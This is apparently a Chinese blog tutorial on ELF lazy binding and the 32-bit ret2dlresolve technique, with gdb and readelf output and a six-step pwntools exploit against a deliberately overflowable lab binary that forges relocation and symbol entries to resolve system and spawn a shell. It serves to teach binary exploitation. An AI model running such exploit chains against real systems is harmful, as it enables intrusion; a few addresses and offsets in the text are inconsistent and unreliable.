Ret2dlresolve原理理解

延迟绑定技术

因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置,下面我们通过一个程序来展示这个过程

适用于绕过NX和ASLR保护

探究延迟绑定技术

例子:

include <stdio.h>
// gcc -m32 -fno-stack-protector -no-pie test1.c -o test1
int main()
{
    char data[20];
    read(0,data,20);
    return 0;
}

在开始前对print read函数,查看地址:

Reading symbols from test1...(no debugging symbols found)...done.
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0x80482e0 <read@plt>
gdb-peda$ 

查看read的plt表的内容:

gdb-peda$ x/3i 0x80482e0
   0x80482e0 <read@plt>:    
    jmp    DWORD PTR ds:0x804a00c
   0x80482e6 <read@plt+6>:    push   0x0
   0x80482eb <read@plt+11>:    jmp    0x80482d0

可知先会跳到0x804a00c处(read的got表)

gdb-peda$ x/wx 0x0804a00c
0x804a00c:    0x080482e6
gdb-peda$ 
所以此时read的got表中存储了read@plt的下一条地址
0x80482e6 <read@plt+6>:    push   0x0

因此将会把0压入栈中,并跳转到0x80482d0地址执行

0x80482d0为plt表的起始地址,称为plt0,其指令为:

gdb-peda$ x/3i 0x80482d0
   0x80482d0:    push   DWORD PTR ds:0x804a004
   0x80482d6:    jmp    DWORD PTR ds:0x804a008

可以看到这两条指令将got+4(0x804a004)里面的值压入栈中,然后跳转到got+8(0x804a008)的地方去执行。跟进got+8:(0x804a004存放linkmap)

gdb-peda$ x/wx 0x804a008
0x804a008:    0xf7fead90
gdb-peda$ 
这里存的就是大名鼎鼎的_dl_runtime_resolve函数的地址0xf7fead90

可以看到程序进入到了_dl_runtime_resolve,因此got+8的地方存储的是_dl_runtime_resolve函数的地址。看_dl_runtime_resolve的源码,源码在/sysdeps/i386/dl-trampoline.S中:

0xf7feed90 <_dl_runtime_resolve>       push   eax
0xf7feed91 <_dl_runtime_resolve+1>     push   ecx
0xf7feed92 <_dl_runtime_resolve+2>     push   edx
0xf7feed93 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
0xf7feed97 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
0xf7feed9b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe85a0>
注意这个 _dl_fixup 函数的调用

dl_runtime_resolve在源码中是用汇编实现的只是压栈并调用_dl_fixup,在跟进去_dl_fixup前,先给出一些与动态链接相关的数据结构。
根据《程序员的自我修养》中的描述:动态链接中最重要的结构应该是dynamic段,这个段里面保存了动态链接器所需要的基本信息。比如依赖于哪些共享对象、动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的地址等。
我们来查看一下dynamic:

hunter@hunter:~/PWN/Freebuf$ readelf -d test1

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库:[libc.so.6]
 0x0000000c (INIT)                       0x80482a8
 0x0000000d (FINI)                       0x80484d4
 0x00000019 (INIT_ARRAY)                 0x8049f0c
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f10
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)    动态链接符号表    0x804821c
 0x00000006 (SYMTAB)    动态链接字符串    0x80481cc
 0x0000000a (STRSZ)                      74 (bytes)
 0x0000000b (SYMENT)      单个符号表大小  16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   16 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)      函数重定位表    0x8048298
 0x00000011 (REL)                        0x8048290
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)    单个重定位表大小  8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048270
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048266
 0x00000000 (NULL)                       0x0

他们其实是一个结构体数组,其结构体定义为:

typedef struct {
    Elf32_Sword     d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

Elf32_Dyn结构由一个类型值加上一个附加的数值或指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。下面给出和延迟绑定相关的类型值的定义。

  • d_tag类型 d_un的定义

  • #define DT_STRTAB 5 动态链接字符串表的地址,d_ptr表示.dynstr的地址 (Address of string table)

  • #define DT_SYMTAB 6 动态链接符号表的地址,d_ptr表示.dynsym的地址 (Address of symbol table)

  • #define DT_JMPREL 23 动态链接重定位表的地址,d_ptr表示.rel.plt的地址 (Address of PLT relocs)

  • #define DT_RELENT 19 单个重定位表项的大小,d_val表示单个重定位表项大小 (Size of one Rel reloc )

  • #define DT_SYMENT 11 单个符号表项的大小,d_val表示单个符号表项大小 (Size of one symbol table entry )
    如上图所示,可以看到字符串表.dynstr的地址为0x804822c,符号表.dynsym地址为0x80481cc,其单个符号表项的大小为16,重定位表.rel.plt的地址为 0x80482d8,其单个重定位表项的大小为8
    .rel.plt重定位表中包含了需要重定位的函数的信息,其也是一个结构体数组,结构体Elf32_Rel定义如下,其中r_offset表示got表地址,即动态解析函数后真正的函数地址需要填入的地方,r_info由两部分构成,r_info>>8表示该函数对应在符号表.dynsym中的下标,r_info&0xff则表示重定位类型。:
    (>>或<<就是将其二进制数据右移或左移,用0补齐)

    typedef struct {
      Elf32_Addr        r_offset;对于可执行文件,此值为虚拟地址
      Elf32_Word       r_info;用于符号表索引
    } Elf32_Rel;

查看一下重定位表0x8048298:

gdb-peda$ x/10x 0x8048298
0x8048298:    0x0804a00c    0x00000107    0x0804a010    0x00000307
0x80482a8 <_init>:    0x08ec8353    0x0000afe80x4fc38100    0x8b00001d
0x80482b8 <_init+16>:    0xfffffc83    0x74c085ff
gdb-peda$ 

所以0x0804a00c就是r_offset中的数据 ,0x00000107是r_info中的数据

再用readelf -r来查看程序的重定位表:

hunter@hunter:~/PWN/Freebuf$ readelf -r test1

重定位节 '.rel.dyn' at offset 0x290 contains 1 entry:
 偏移量     信息    类型              符号值      符号名称
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

重定位节 '.rel.plt' at offset 0x298 contains 2 entries:
 偏移量     信息    类型              符号值      符号名称
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
偏移量即r_offset ,信息即r_info

可以看到重定位表.rel.plt为一个Elf32_Rel结构体数组,demo程序中该数组包含三个元素,第一个是read的重定位表项Elf32_Rel结构体,第二个是stack_chk_fail,第三个是libc_start_main。read的重定位表r_offset为0x0804a00c,为read的got地址,即在动态解析函数完成后,将read的函数地址填入到r_offset为0x0804a00c中。r_info为0x00000107表示read函数的符号表为.dynsym数组中的0x00000107>>8(即0x1)个元素,它的类型为0x00000107&0xff(即0x7)对应为R_386_JUMP_SLOT类型。

继续来看看dynsym节,由上文,它也是一个结构体Elf32_Sym数组,其定义如下:

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

其中st_name指向的是函数名称在.dynstr表中的偏移。在dynamic段中我们知道了符号表.dynsym地址为0x80481cc,查看它的值:

gdb-peda$ x/10wx 0x80481cc
0x80481cc:    0x00000000    0x00000000    0x00000000    0x00000000
0x80481dc:    0x0000001a    0x00000000    0x00000000    0x00000012
0x80481ec:    0x0000003b    0x00000000
gdb-peda$ 

同样的也可以用readelf -s查看符号表结构体

hunter@hunter:~/PWN/Freebuf$ readelf -s test1

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484ec     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

num 就是.rel.plt结构体中的r_info>>8,是相对.dynstr起始的偏移,其他数值以此类推
显然read相对于dynsym的偏移为1

果然dynsym第一个元素为read函数的Elf32_Sym结构体。再回到.dynsym地址0x80481cc:第一行就是dynsym表中的第0个结构体的数值内容,第二行就是read函数结构体的数值内容。这两行显然相差16字节,符合(SYMENT) 单个符号表大小 16字节。

所以read结构体的st_name对应的是0x0000001a,即read字符串应该在.dynstr表偏移为0x2b的地方,由dynamic我们知道了.dynstr表的地址为地址为0x804821c,去验证下看其偏移0x1a是否为read字符串:

gdb-peda$ x/10s 0x804821c
0x804821c:    ""
0x804821d:    "libc.so.6"
0x8048227:    "_IO_stdin_used"
0x8048236:    "read"
0x804823b:    "__libc_start_main"
0x804824d:    "GLIBC_2.0"
0x8048257:    "__gmon_start__"
0x8048266:    ""
0x8048267:    ""
0x8048268:    "\002"

gdb-peda$ x/s 0x804821c+0x1a
0x8048236:    "read"
gdb-peda$ 

可以看到确实如此。

大概流程:

  • 可以先通过dynamic段获取各个表的地址,包括有字符串表.dynstr的地址为0x804822c,符号表.dynsym地址为0x80481cc,其单个符号表项的大小为16,重定位表.rel.plt的地址为 0x80482d8,其单个重定位表项的大小为8。
  • read函数为.rel.plt表中的第一个元素,定位它的重定位表项,知道了read函数的r_offset为0x0804a00c,以及它在符号表中的下标为0x000001,它的类型为0x7,R_386_JUMP_SLOT。
  • 由0x000001知道了read函数的符号表是.dynsym第二个元素,获取到该结构体,得到了它对应的st_name对应的是0x0000001b,即获取了read字符串应该在.dynstr表偏移为0x1b的地方。
  • 最后调用函数解析匹配read字符串所对应的函数地址,将其填至r_offset为0x0804a00c,即read的got地址中。

进入_dl_fixup:

有了前面的基础,现在可以跟进去_dl_fixup,我们知道在调用_dl_runtime_resolve函数之前压入到栈中的参数是0,以及got+4中的值,参考下面_dl_fixup的源码,根据参数列表,知道了眼入栈中的0为reloc_arg,got+4中的值为struct link_map *l,函数源码在/elf/dl-runtime.c中:

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{

  //获取符号表地址
  const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  //获取字符串表地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  //获取函数对应的重定位表结构地址
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  //获取函数对应的符号表结构地址
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  //得到函数对应的got地址,即真实函数地址要填回的地址
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

  DL_FIXUP_VALUE_TYPE value;

  //判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
   //需要绕过
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
   {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      const ElfW(Half) *vernum =
        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }

   ...

      // 接着通过strtab+sym->st_name找到符号表字符串
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

  ...
      // value为libc基址加上要解析函数的偏移地址,也即实际地址
      value = DL_FIXUP_MAKE_VALUE (result,
                   sym ? (LOOKUP_VALUE_ADDRESS (result)
                      + sym->st_value) : 0);
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

...

  // 最后把value写入相应的GOT表条目rel_addr中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

可以看到_dl_fixup函数就如上面描述的过程一般,去定位结构体,最终获取read字符串去libc中找到相应的函数地址并填回到got表中。

总结:

调用函数时,call func@plt,plt表内容如下:

func@plt:
jmp *(func@GOT)   //仍然首先进行GOT跳转,尝试是否是第一次链接
push n        //压入需要地址绑定的符号在重定位表中的下标
jmp PLT0    //跳转到 PLT0

由于是第一次调用,func@GOTgot表中的值为jmp *(func@GOT)指令的下一条地址,即push n的地址,接着程序会执行push n; jmp PLT0,n则为该函数在.rel.plt表中的偏移。接着去看PLT0的指令为:
push *(got+4)
jmp *(got+8)

其中got+4存储的是link_map的地址,got+8存储的是_dl_runtime_resolve函数的地址。进入到_dl_runtime_resolve函数后,函数会调用_dl_fixup函数,根据源码分析,可以看到该函数功能为:

  • 程序先从第一个参数link_map获取字符串表.dynstr、符号表.dynsym以及重定位表.rel.plt的地址,
  • 通过第二个参数n即.rel.plt表中的偏移reloc_arg加上.rel.plt的地址获取函数对应的重定位结构的位置,从而获取函数对应的r_offset以及在符号表中的下标r_info>>8。
  • 根据符号表地址以及下标获取符号结构体,获得了函数符号表中的st_name,即函数名相对于字符串表.dynstr的偏移。
  • 最后可得到函数名的字符串,然后去libc中匹配函数名,找到相应的函数并将地址填回到r_offset即函数got表中,延迟绑定完成。

利用思路

32位的ret2dl_resolve
原理
ret2dl_resolve的适用场景是在无法泄露程序地址时,通过拦截延迟绑定的过程,实现对函数地址解析过程的劫持,使得最终解析出来的函数为特定函数的函数地址,从而实现无泄露达到特定函数调用的目的。
32位ELF程序ret2dl_resolve攻击方法,目前最为普遍的是伪造reloc_arg,即伪造重定位表的下标实现相关的利用,具体包括如下步骤:

  • 伪造reloc_arg,使得reloc_arg加上.rel.plt的地址指向可控的地址,在该地址可伪造恶意的Elf32_Rel结构体。
  • 伪造Elf32_Rel结构体中的r_offset指向某一可写地址,最终函数地址会写入该地址处;伪造r_info&0xff为0x7,因为类型需为ELF_MACHINE_JMP_SLOT以绕过类型验证;伪造r_info>>8,使得r_info>>8加上.dynsym地址指向可控的地址,并在该地址伪造符号表结构体Elf32_Sym。
  • 伪造Elf32_Sym结构体中的st_name,使得.dynstr的地址加上该值指向可控地址,并在该地址处写入特定函数的函数名入system。
  • 最终系统通过函数名匹配,定位到特定函数地址,获取该地址并写入到伪造的r_offset中,实现了函数地址的获取。

需要注意一点的是dl_fixup中还存在以下一段代码:

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
   {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      const ElfW(Half) *vernum =
        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }

如果reloc->r_info伪造不当,会使得ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff偏大,导致version = &l->l_versions[ndx]出现访存错误,因此伪造的reloc->r_info,最好使得ndx为0,即vernum[reloc->r_info]为0。


实战

源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
//gcc -m32 -fno-stack-protecor -no-pie test2.c -o test2
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to the Crazy World!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

溢出点为:112
利用思路:
1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

step1:

直接返回到write@plt

#!/usr/bin/python

from pwn import*

elf = ELF('test2')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048659  #Using Ropgadget
pop_ebp_ret = 0x0804865b  #Using Ropgadget
leave_ret = 0x08048465  #Using Ropgadget

stack_size = 0x400  #fake chain from bss_addr+0x400
bss_addr = 0x0804a028 
base_stage = bss_addr + stack_size  #fake chain addr

r = process('./test2')
print r.recv()

payload = 'A' * offset
payload += p32(read_plt)  #input fake chain 
payload += p32(ppp_ret) #balance the stack
payload += p32(0) 
payload += p32(base_stage)
payload += p32(100) 
#栈迁移
payload += p32(pop_ebp_ret)  #base_stage pop ==>ebp
payload += p32(base_stage)
payload += p32(leave_ret)  # mov esp, ebp ; pop ebp ;make esp==>base_stage
#gdb.attach(r)
r.sendline(payload)

#print r.recv()

cmd = '/bin/sh'


payload2 = 'AAAA'  #response leave-> pop ebp make esp==>write_plt
payload2 += p32(write_plt)
payload2 += 'AAAA' #ret_addr meaningless
payload2 += p32(1)
payload2 += p32(base_stage+80) 
payload2 += p32(len(cmd))
payload2 += 'A'*(80-len(payload2))
payload2 += cmd+'\x00'  #locate base_stage+80
payload2 += 'A'*(100-len(payload2))
#gdb.attach(r)
r.sendline(payload2)
r.interactive()

结果:成功调用write函数并将/bin/sh打印出来

hunter@hunter:~/PWN/Freebuf$ python test2.py 
[*] '/home/hunter/PWN/Freebuf/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './test2': pid 49059
Welcome to the Crazy World!

[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive
$  

step2:

这次控制eip返回PLT[0],要带上write的index_offset。这里修改一下payload2

...
cmd = '/bin/sh'

plt_0 = 0x8048370 #using objdump -d -j .plt test2
index_offset = 0x20 #write`s index from  objump -d -j .plt test2
payload2 = 'AAAA'  #response leave-> pop ebp make esp==>write_plt
#代替原来的p32(write_plt)
payload2 += p32(plt_0) #push linkmap
payload2 += p32(index_offset) #rel.plt offset
payload2 += 'AAAA' #ret_addr meaningless
payload2 += p32(1)
payload2 += p32(base_stage+80) 
payload2 += p32(len(cmd))
payload2 += 'A'*(80-len(payload2))
payload2 += cmd+'\x00'  #locate base_stage+80
payload2 += 'A'*(100-len(payload2))
#gdb.attach(r)
r.sendline(payload2)

结果成功调用write函数打印/bin/sh

[*] '/home/hunter/PWN/Freebuf/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './test2': pid 49114
Welcome to the Crazy World!

[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive
$  

step3:

控制index_offset,指向我们构造的fake_reloc

...
cmd = '/bin/sh'

plt_0 = 0x8048370 #using objdump -d -j .plt test2
rel_plt = 0x8048324 #readelf -d test2
index_offset = (base_stage + 28) - rel_plt #off+rel.plt_addr ==>  base_stage+28
write_got = elf.got['write']
r_info = 0x607 #rel.plt of write --> r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'  #response leave-> pop ebp make esp==>write_plt
payload2 += p32(plt_0) #push linkmap
payload2 += p32(index_offset) #rel.plt offset
payload2 += 'AAAA' #ret_addr meaningless
payload2 += p32(1)
payload2 += p32(base_stage+80) 
payload2 += p32(len(cmd))
payload2 += fake_reloc
payload2 += 'A'*(80-len(payload2))
payload2 += cmd+'\x00'  #locate base_stage+80
payload2 += 'A'*(100-len(payload2))
#gdb.attach(r)
r.sendline(payload2)
r.interactive()

结果:成功调用write函数并打印/bin/sh

[*] '/home/hunter/PWN/Freebuf/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './test2': pid 49177
Welcome to the Crazy World!

[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive

step4:

再进一步:构造fake——sym,使其指向我们控制的st_name

...
cmd = '/bin/sh'

plt_0 = 0x8048370 #using objdump -d -j .plt test2
rel_plt = 0x8048324 #readelf -d test2
index_offset = (base_stage + 28) - rel_plt #off+rel.plt_addr ==>  base_stage+28
write_got = elf.got['write']
dynsym = 0x80481cc
dynstr = 0x804826c
fake_sym_addr = base_stage+36 #(fake_reloc takes 16 bytes)
这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #for the balance
fake_sym_addr = fake_sym_addr + align
除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
index_dynsym = (fake_sym_addr - dynsym)/0x10 
r_info = (index_dynsym << 8)|0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c #在synstr中的偏移
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'  #response leave-> pop ebp make esp==>write_plt
payload2 += p32(plt_0) #push linkmap
payload2 += p32(index_offset) #rel.plt offset
payload2 += 'AAAA' #ret_addr meaningless
payload2 += p32(1)
payload2 += p32(base_stage+80) 
payload2 += p32(len(cmd))
payload2 += fake_reloc #(at the base_stage+28)
payload2 += 'B'*align
payload2 += fake_sym #(base_stage+36)
payload2 += 'A'*(80-len(payload2))
payload2 += cmd+'\x00'  #locate base_stage+80
payload2 += 'A'*(100-len(payload2))
#gdb.attach(r)
r.sendline(payload2)
r.interactive()

结果:再次成功

[*] '/home/hunter/PWN/Freebuf/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './test2': pid 49247
Welcome to the Crazy World!

[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive
$  

step5:

控制st_name指向字符串‘write’’

...
cmd = '/bin/sh'

plt_0 = 0x8048370 #using objdump -d -j .plt test2
rel_plt = 0x8048324 #readelf -d test2
index_offset = (base_stage + 28) - rel_plt #off+rel.plt_addr ==>  base_stage+28
write_got = elf.got['write']
dynsym = 0x80481cc
dynstr = 0x804826c
fake_sym_addr = base_stage+36 #(fake_reloc takes 16 bytes)
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #for the balance
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym)/0x10 
r_info = (index_dynsym << 8)|0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr #this 0x10 for the sizeof fake_sym_addr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'  #response leave-> pop ebp make esp==>write_plt
payload2 += p32(plt_0) #push linkmap
payload2 += p32(index_offset) #rel.plt offset
payload2 += 'AAAA' #ret_addr meaningless
payload2 += p32(1)
payload2 += p32(base_stage+80) 
payload2 += p32(len(cmd))
payload2 += fake_reloc #(at the base_stage+28)
payload2 += 'B'*align
payload2 += fake_sym #(base_stage+36)
payload2 += 'write\x00'
payload2 += 'A'*(80-len(payload2))
payload2 += cmd+'\x00'  #locate base_stage+80
payload2 += 'A'*(100-len(payload2))
#gdb.attach(r)
r.sendline(payload2)
r.interactive()

结果:成功调用并打印

[*] '/home/hunter/PWN/Freebuf/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './test2': pid 49302
Welcome to the Crazy World!

[*] Switching to interactive mode
/bin/sh[*] Got EOF while reading in interactive
$  

step6:

替换write为system,并修改对应bss中的参数

...
cmd = '/bin/sh'

plt_0 = 0x8048370 #using objdump -d -j .plt test2
rel_plt = 0x8048324 #readelf -d test2
index_offset = (base_stage + 28) - rel_plt #off+rel.plt_addr ==>  base_stage+28
write_got = elf.got['write']
dynsym = 0x80481cc
dynstr = 0x804826c
fake_sym_addr = base_stage+36 #(fake_reloc takes 16 bytes)
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #for the balance
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym)/0x10 
r_info = (index_dynsym << 8)|0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr #this 0x10 for the sizeof fake_sym_addr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'  #response leave-> pop ebp make esp==>write_plt
payload2 += p32(plt_0) #push linkmap
payload2 += p32(index_offset) #rel.plt offset
payload2 += 'AAAA' #ret_addr meaningless
payload2 += p32(base_stage+80) 
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc #(at the base_stage+28)
payload2 += 'B'*align
payload2 += fake_sym #(base_stage+36)
payload2 += 'system\x00'
payload2 += 'A'*(80-len(payload2))
payload2 += cmd+'\x00'  #locate base_stage+80
payload2 += 'A'*(100-len(payload2))
#gdb.attach(r)
r.sendline(payload2)
r.interactive()

结果:获得shell

[*] '/home/hunter/PWN/Freebuf/test2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './test2': pid 49341
Welcome to the Crazy World!

[*] Switching to interactive mode
$ whoami
hunter
$  

for more details :http://pwn4.fun/2016/11/09/Return-to-dl-resolve/


  转载请注明: Squarer Ret2dlresolve原理理解

  目录